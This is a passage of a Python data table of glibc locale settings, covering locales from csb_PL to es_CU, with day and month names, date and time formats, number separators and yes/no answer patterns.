('nie', 'pòn', 'wtó', 'str', 'czw', 'pią', 'sob')), ('day', ('niedzela', 'pòniedzôłk', 'wtórk', 'strzoda', 'czwiôrtk', 'piątk', 'sobòta')), ('abmon', ('stë', 'gro', 'stm', 'łżë', 'môj', 'cze', 'lëp', 'zél', 'séw', 'ruj', 'lës', 'gòd')), ('mon', ('stëcznik', 'gromicznik', 'strumiannik', 'łżëkwiôt', 'môj', 'czerwińc', 'lëpinc', 'zélnik', 'séwnik', 'rujan', 'lëstopadnik', 'gòdnik')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%Y-%m-%d'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', ''), ('yesexpr', '^[JjTtYy].*'), ('noexpr', '^[nN].*')]), ('cv_RU', [('abday', ('vr', 'tn', 'yt', 'jn', 'kş', 'er', 'šm')), ('day', ('vyrsarnikun', 'tuntikun', 'ytlarikun', 'junkun', 'kĕşnernikun', 'ernekun', 'šămatkun')), ('abmon', ('KĂR', 'NAR', 'PUŠ', 'AKA', 'ŞU', 'ŞĔR', 'UTĂ', 'ŞUR', 'AVĂ', 'JUP', 'CÜK', 'RAŠ')), ('mon', ('kărlac', 'narăs', 'puš', 'aka', 'şu', 'şĕrtme', 'ută', 'şurla', 'avăn', 'jupa', 'cük', 'raštav')), ('d_t_fmt', '%a %d %b %Y %T'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '\xa0'), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('cy_GB', [('abday', ('Sul', 'Llu', 'Maw', 'Mer', 'Iau', 'Gwe', 'Sad')), ('day', ('Sul', 'Llun', 'Mawrth', 'Mercher', 'Iau', 'Gwener', 'Sadwrn')), ('abmon', ('Ion', 'Chw', 'Maw', 'Ebr', 'Mai', 'Meh', 'Gor', 'Aws', 'Med', 'Hyd', 'Tach', 'Rha')), ('mon', ('Ionawr', 'Chwefror', 'Mawrth', 'Ebrill', 'Mai', 'Mehefin', 'Gorffennaf', 'Awst', 'Medi', 'Hydref', 'Tachwedd', 'Rhagfyr')), ('d_t_fmt', 'Dydd %A %d mis %B %Y %T %Z'), ('d_fmt', '%d.%m.%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%l:%M:%S %P %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[iItTyY].*'), ('noexpr', '^[nN].*')]), ('da_DK', [('abday', ('søn', 'man', 'tir', 'ons', 'tor', 'fre', 'lør')), ('day', ('søndag', 'mandag', 'tirsdag', 'onsdag', 'torsdag', 'fredag', 'lørdag')), ('abmon', ('jan', 'feb', 'mar', 'apr', 'maj', 'jun', 'jul', 'aug', 'sep', 'okt', 'nov', 'dec')), ('mon', ('januar', 'februar', 'marts', 'april', 'maj', 'juni', 'juli', 'august', 'september', 'oktober', 'november', 'december')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d-%m-%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[1JjYy].*'), ('noexpr', '^[0Nn].*')]), ('de_AT', [('abday', ('Son', 'Mon', 'Die', 'Mit', 'Don', 'Fre', 'Sam')), ('day', ('Sonntag', 'Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag')), ('abmon', ('Jän', 'Feb', 'Mär', 'Apr', 'Mai', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Dez')), ('mon', ('Jänner', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%Y-%m-%d'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[jJyY].*'), ('noexpr', '^[nN].*')]), ('de_BE', [('abday', ('Son', 'Mon', 'Die', 'Mit', 'Don', 'Fre', 'Sam')), ('day', ('Sonntag', 'Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag')), ('abmon', ('Jan', 'Feb', 'Mär', 'Apr', 'Mai', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Dez')), ('mon', ('Januar', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%Y-%m-%d'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[jJyY].*'), ('noexpr', '^[nN].*')]), ('de_CH', [('abday', ('Son', 'Mon', 'Die', 'Mit', 'Don', 'Fre', 'Sam')), ('day', ('Sonntag', 'Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag')), ('abmon', ('Jan', 'Feb', 'Mär', 'Apr', 'Mai', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Dez')), ('mon', ('Januar', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', "'"), ('yesexpr', '^[jJyY].*'), ('noexpr', '^[nN].*')]), ('de_DE', [('abday', ('So', 'Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa')), ('day', ('Sonntag', 'Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag')), ('abmon', ('Jan', 'Feb', 'Mär', 'Apr', 'Mai', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Dez')), ('mon', ('Januar', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d.%m.%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[jJyY].*'), ('noexpr', '^[nN].*')]), ('de_LU', [('abday', ('Son', 'Mon', 'Die', 'Mit', 'Don', 'Fre', 'Sam')), ('day', ('Sonntag', 'Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag')), ('abmon', ('Jan', 'Feb', 'Mär', 'Apr', 'Mai', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Dez')), ('mon', ('Januar', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%Y-%m-%d'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[jJyY].*'), ('noexpr', '^[nN].*')]), ('doi_IN', [('abday', ('ऐत ', 'सोम ', 'मंगल ', 'बुध ', 'बीर ', 'शुक्कर ', 'श्नीचर ')), ('day', ('ऐतबार ', 'सोमबार ', 'मंगलबर ', 'बुधबार ', 'बीरबार ', 'शुक्करबार ', 'श्नीचरबार ')), ('abmon', ('जनवरी', 'फरवरी', 'मार्च', 'एप्रैल', 'मेई', 'जून', 'जूलै', 'अगस्त', 'सितंबर', 'अक्तूबर', 'नवंबर', 'दिसंबर')), ('mon', ('जनवरी', 'फरवरी', 'मार्च', 'एप्रैल', 'मेई', 'जून', 'जूलै', 'अगस्त', 'सितंबर', 'अक्तूबर', 'नवंबर', 'दिसंबर')), ('d_t_fmt', '%A %d %b %Y %I:%M:%S %p %Z'), ('d_fmt', '%A %d %b %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%I:%M:%S %p %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^(ऑह|[yY])'), ('noexpr', '^(ना|[nN])')]), ('dv_MV', [('abday', ('އާދީއްތަ', 'ހޯމަ', 'އަންގާރަ', 'ބުދަ', 'ބުރާސްފަތި', 'ހުކުރު', 'ހޮނިހިރު')), ('day', ('އާދީއްތަ', 'ހޯމަ', 'އަންގާރަ', 'ބުދަ', 'ބުރާސްފަތި', 'ހުކުރު', 'ހޮނިހިރު')), ('abmon', ('ޖެނުއަރީ', 'ފެބްރުއަރީ', 'މާރޗް', 'އެޕްރީލް', 'މެއި', 'ޖޫން', 'ޖުލައި', 'އޮގަސްޓް', 'ސެޕްޓެންބަރ', 'އޮކްޓޫބަރ', 'ނޮވެންބަރ', 'ޑިސެންބަރ')), ('mon', ('ޖެނުއަރީ', 'ފެބްރުއަރީ', 'މާރޗް', 'އެޕްރީލް', 'މެއި', 'ޖޫން', 'ޖުލައި', 'އޮގަސްޓް', 'ސެޕްޓެންބަރ', 'އޮކްޓޫބަރ', 'ނޮވެންބަރ', 'ޑިސެންބަރ')), ('d_t_fmt', '%Z %H:%M:%S %Y %b %d %a'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%H:%M:%S'), ('t_fmt_ampm', '%P %I:%M:%S'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('dz_BT', [('abday', ('ཟླ་', 'མིར་', 'ལྷག་', 'པུར་', 'སངས་', 'སྤེན་', 'ཉི་')), ('day', ('གཟའ་ཟླ་བ་', 'གཟའ་མིག་དམར་', 'གཟའ་ལྷག་ཕ་', 'གཟའ་པུར་བུ་', 'གཟའ་པ་སངས་', 'གཟའ་སྤེན་ཕ་', 'གཟའ་ཉི་མ་')), ('abmon', ('ཟླ་༡', 'ཟླ་༢', 'ཟླ་༣', 'ཟླ་༤', 'ཟླ་༥', 'ཟླ་༦', 'ཟླ་༧', 'ཟླ་༨', 'ཟླ་༩', 'ཟླ་༡༠', 'ཟླ་༡༡', 'ཟླ་༡༢')), ('mon', ('ཟླ་བ་དང་པ་', 'ཟླ་བ་གཉིས་པ་', 'ཟླ་བ་གསུམ་པ་', 'ཟླ་བ་བཞི་པ་', 'ཟླ་བ་ལྔ་ཕ་', 'ཟླ་བ་དྲུག་པ་', 'ཟླ་བ་བདུནཔ་', 'ཟླ་བ་བརྒྱད་པ་', 'ཟླ་བ་དགུ་པ་', 'ཟླ་བ་བཅུ་པ་', 'ཟླ་བ་བཅུ་གཅིག་པ་', 'ཟླ་བ་བཅུ་གཉིས་པ་')), ('d_t_fmt', 'པསྱི་ལོ%yཟལ%mཚེས%dཆུ་ཚོད%Hཀསར་མ%Mཀསར་ཆ%S'), ('d_fmt', 'པསྱི་ལོ%yཟལ%mཚེས%d'), ('t_fmt', 'ཆུ་ཚོད%Hཀསར་མ%Mཀསར་ཆ%S'), ('t_fmt_ampm', 'ཆུ་ཚོད%Iཀསར་མ%Mཀསར་ཆ%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[ཨYy].*'), ('noexpr', '^[མNn].*')]), ('el_CY', [('abday', ('Κυρ', 'Δευ', 'Τρι', 'Τετ', 'Πεμ', 'Παρ', 'Σαβ')), ('day', ('Κυριακή', 'Δευτέρα', 'Τρίτη', 'Τετάρτη', 'Πέμπτη', 'Παρασκευή', 'Σάββατο')), ('abmon', ('Ιαν', 'Φεβ', 'Μάρ', 'Απρ', 'Μάι', 'Ιούν', 'Ιούλ', 'Αύγ', 'Σεπ', 'Οκτ', 'Νοέ', 'Δεκ')), ('mon', ('Ιανουάριος', 'Φεβρουάριος', 'Μάρτιος', 'Απρίλιος', 'Μάιος', 'Ιούνιος', 'Ιούλιος', 'Αύγουστος', 'Σεπτέμβριος', 'Οκτώβριος', 'Νοέμβριος', 'Δεκέμβριος')), ('d_t_fmt', '%a %d %b %Y %r %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%r'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[νΝyY].*'), ('noexpr', '^[οΟnN].*')]), ('el_GR', [('abday', ('Κυρ', 'Δευ', 'Τρι', 'Τετ', 'Πεμ', 'Παρ', 'Σαβ')), ('day', ('Κυριακή', 'Δευτέρα', 'Τρίτη', 'Τετάρτη', 'Πέμπτη', 'Παρασκευή', 'Σάββατο')), ('abmon', ('Ιαν', 'Φεβ', 'Μάρ', 'Απρ', 'Μάι', 'Ιούν', 'Ιούλ', 'Αύγ', 'Σεπ', 'Οκτ', 'Νοέ', 'Δεκ')), ('mon', ('Ιανουάριος', 'Φεβρουάριος', 'Μάρτιος', 'Απρίλιος', 'Μάιος', 'Ιούνιος', 'Ιούλιος', 'Αύγουστος', 'Σεπτέμβριος', 'Οκτώβριος', 'Νοέμβριος', 'Δεκέμβριος')), ('d_t_fmt', '%a %d %b %Y %r %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%r'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[νΝyY].*'), ('noexpr', '^[οΟnN].*')]), ('en_AG', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%l:%M:%S %P %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('en_AU', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('en_BW', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY]'), ('noexpr', '^[nN]')]), ('en_CA', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %r %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%r'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yYoO].*'), ('noexpr', '^[nN].*')]), ('en_DK', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%Y-%m-%dT%T %Z'), ('d_fmt', '%Y-%m-%d'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[1JjsSyYoO].*'), ('noexpr', '^[0nN].*')]), ('en_GB', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%l:%M:%S %P %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('en_HK', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%A, %B %d, %Y %p%I:%M:%S %Z'), ('d_fmt', '%A, %B %d, %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%p%I:%M:%S %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY]'), ('noexpr', '^[nN]')]), ('en_IE', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('en_IN', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%A %d %B %Y %I:%M:%S %p %Z'), ('d_fmt', '%A %d %B %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%I:%M:%S %p %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY]'), ('noexpr', '^[nN]')]), ('en_NG', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY]'), ('noexpr', '^[nN]')]), ('en_NZ', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('en_PH', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%A, %d %B, %Y %I:%M:%S %p %Z'), ('d_fmt', '%A, %d %B, %Y'), ('t_fmt', '%I:%M:%S %Z'), ('t_fmt_ampm', '%I:%M:%S %p %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY]'), ('noexpr', '^[nN]')]), ('en_SG', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %r'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY]'), ('noexpr', '^[nN]')]), ('en_US', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %r %Z'), ('d_fmt', '%m/%d/%Y'), ('t_fmt', '%r'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY].*'), ('noexpr', '^[nN].*')]), ('en_ZA', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY]'), ('noexpr', '^[nN]')]), ('en_ZM', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%l:%M:%S %P %Z'), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yYeE].*'), ('noexpr', '^[nNaA].*')]), ('en_ZW', [('abday', ('Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat')), ('day', ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday')), ('abmon', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec')), ('mon', ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', '.'), ('thousep', ','), ('yesexpr', '^[yY]'), ('noexpr', '^[nN]')]), ('es_AR', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_BO', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_CL', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', ''), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_CO', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', ','), ('thousep', '.'), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_CR', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 'vie', 'sáb')), ('day', ('domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado')), ('abmon', ('ene', 'feb', 'mar', 'abr', 'may', 'jun', 'jul', 'ago', 'sep', 'oct', 'nov', 'dic')), ('mon', ('enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio', 'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre')), ('d_t_fmt', '%a %d %b %Y %T %Z'), ('d_fmt', '%d/%m/%Y'), ('t_fmt', '%T'), ('t_fmt_ampm', '%I:%M:%S %p'), ('radixchar', ','), ('thousep', ' '), ('yesexpr', '^[sSyY].*'), ('noexpr', '^[nN].*')]), ('es_CU', [('abday', ('dom', 'lun', 'mar', 'mié', 'jue', 